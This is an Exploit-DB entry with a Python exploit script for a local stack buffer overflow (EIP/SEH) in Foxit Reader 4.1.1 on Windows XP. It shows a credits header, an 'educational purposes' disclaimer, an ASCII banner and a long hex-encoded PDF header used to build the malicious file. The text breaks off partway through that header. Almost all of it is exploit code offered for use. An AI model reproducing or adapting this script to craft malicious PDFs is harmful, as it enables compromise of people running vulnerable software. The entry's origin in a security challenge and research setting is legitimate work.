Exploit-DB #15532
Description: Foxit Reader 4.1.1 - Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2010-11-14
Author: sud0

Exploit:
#***********************************************************************************
# Exploit Title : Foxit 4.1.1 
# Date          : 13/11/2010
# Author        : Sud0
# Bug found by  : dookie
# Original POC 	: https://www.exploit-db.com/exploits/15514/
# Software Link : http://www.foxitsoftware.com/downloads/index.php
# Version       : 4.1.1
# OS            : Windows
# Tested on     : XP SP3 En (VirtualBox)
# Type of vuln  : EIP / SEH
# Thanks to my wife for her support
# Greetz to: Corelan Security Team
# Greetz to: dookie for finding the bug
# Thanks to offsec for the Exploit Week End challenge
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# writeup : http://www.corelan.be:8800/index.php/2010/11/13/offensive-security-exploit-weekend/
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.
#***********************************************************************************
#code :
print "|------------------------------------------------------------------|"
print "|                         __               __                      |"
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |"
print "|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |"
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |"
print "| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |"
print "|                                                                  |"
print "|                                       http://www.corelan.be:8800 |"
print "|                                              security@corelan.be |"
print "|                                                                  |"
print "|-------------------------------------------------[ EIP Hunters ]--|"
print "[+] Exploit for Foxit reader 4.1.1 \n";

# BIG header, i took a long header from the contest
header ="\x25\x50\x44\x46\x2D\x31\x2E\x34\x0D\x0A\x25\xE2\xE3\xCF\xD3\x0D" 
header +="\x0A\x38\x31\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x4C\x69" 
header +="\x6E\x65\x61\x72\x69\x7A\x65\x64\x20\x31\x2F\x4C\x20\x32\x31\x33" 
header +="\x37\x35\x36\x2F\x4F\x20\x38\x33\x2F\x45\x20\x31\x34\x31\x36\x33" 
header +="\x31\x2F\x4E\x20\x32\x31\x2F\x54\x20\x32\x31\x32\x30\x38\x39\x2F" 
header +="\x48\x20\x5B\x20\x31\x32\x31\x36\x20\x36\x39\x39\x5D\x3E\x3E\x0D" 
header +="\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x20\x20\x20\x20\x20\x20\x20" 
header +="\x20\x20\x20\x20\x20\x20\x0D\x0A\x78\x72\x65\x66\x0D\x0A\x38\x31" 
header +="\x20\x34\x36\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x30\x31\x36\x20" 
header +="\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x31" 
header +="\x39\x31\x35\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30" 
header +="\x30\x30\x30\x32\x30\x38\x34\x20\x30\x30\x30\x30\x30\x20\x6E\x0D" 
header +="\x0A\x30\x30\x30\x30\x30\x30\x32\x33\x31\x31\x20\x30\x30\x30\x30" 
header +="\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x32\x33\x36\x33\x20" 
header +="\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x32" 
header +="\x34\x37\x30\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30" 
header +="\x30\x30\x32\x33\x37\x37\x30\x20\x30\x30\x30\x30\x30\x20\x6E\x0D" 
header +="\x0A\x30\x30\x30\x30\x30\x32\x33\x39\x35\x37\x20\x30\x30\x30\x30" 
header +="\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x32\x34\x35\x30\x33\x20" 
header +="\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x32\x34" 
header +="\x38\x38\x33\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30" 
header +="\x30\x30\x34\x38\x36\x38\x38\x20\x30\x30\x30\x30\x30\x20\x6E\x0D" 
header +="\x0A\x30\x30\x30\x30\x30\x34\x38\x38\x37\x30\x20\x30\x30\x30\x30" 
header +="\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x34\x39\x34\x39\x30\x20" 
header +="\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x34\x39" 
header +="\x39\x34\x32\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30" 
header +="\x30\x30\x35\x30\x34\x38\x31\x20\x30\x30\x30\x30\x30\x20\x6E\x0D" 
header +="\x0A\x30\x30\x30\x30\x30\x35\x30\x39\x33\x34\x20\x30\x30\x30\x30" 
header +="\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x35\x31\x33\x37\x30\x20" 
header +="\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x35\x31" 
header +="\x38\x33\x38\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30" 
header +="\x30\x30\x35\x32\x32\x39\x30\x20\x30\x30\x30\x30\x30\x20\x6E\x0D" 
header +="\x0A\x30\x30\x30\x30\x30\x35\x32\x38\x35\x37\x20\x30\x30\x30\x30" 
header +="\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x35\x33\x33\x31\x34\x20" 
header +="\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x35\x33" 
header +="\x35\x32\x36\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30" 
header +="\x30\x30\x37\x32\x36\x35\x39\x20\x30\x30\x30\x30\x30\x20\x6E\x0D" 
header +="\x0A\x30\x30\x30\x30\x30\x37\x32\x38\x35\x33\x20\x30\x30\x30\x30" 
header +="\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x37\x33\x34\x30\x31\x20" 
header +="\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x37\x33" 
header +="\x37\x38\x36\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30" 
header +="\x30\x30\x37\x35\x32\x32\x38\x20\x30\x30\x30\x30\x30\x20\x6E\x0D" 
header +="\x0A\x30\x30\x30\x30\x30\x37\x35\x34\x31\x33\x20\x30\x30\x30\x30" 
header +="\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x37\x35\x37\x30\x35\x20" 
header +="\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x37\x35" 
header +="\x38\x36\x31\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30" 
header +="\x30\x30\x37\x36\x30\x35\x39\x20\x30\x30\x30\x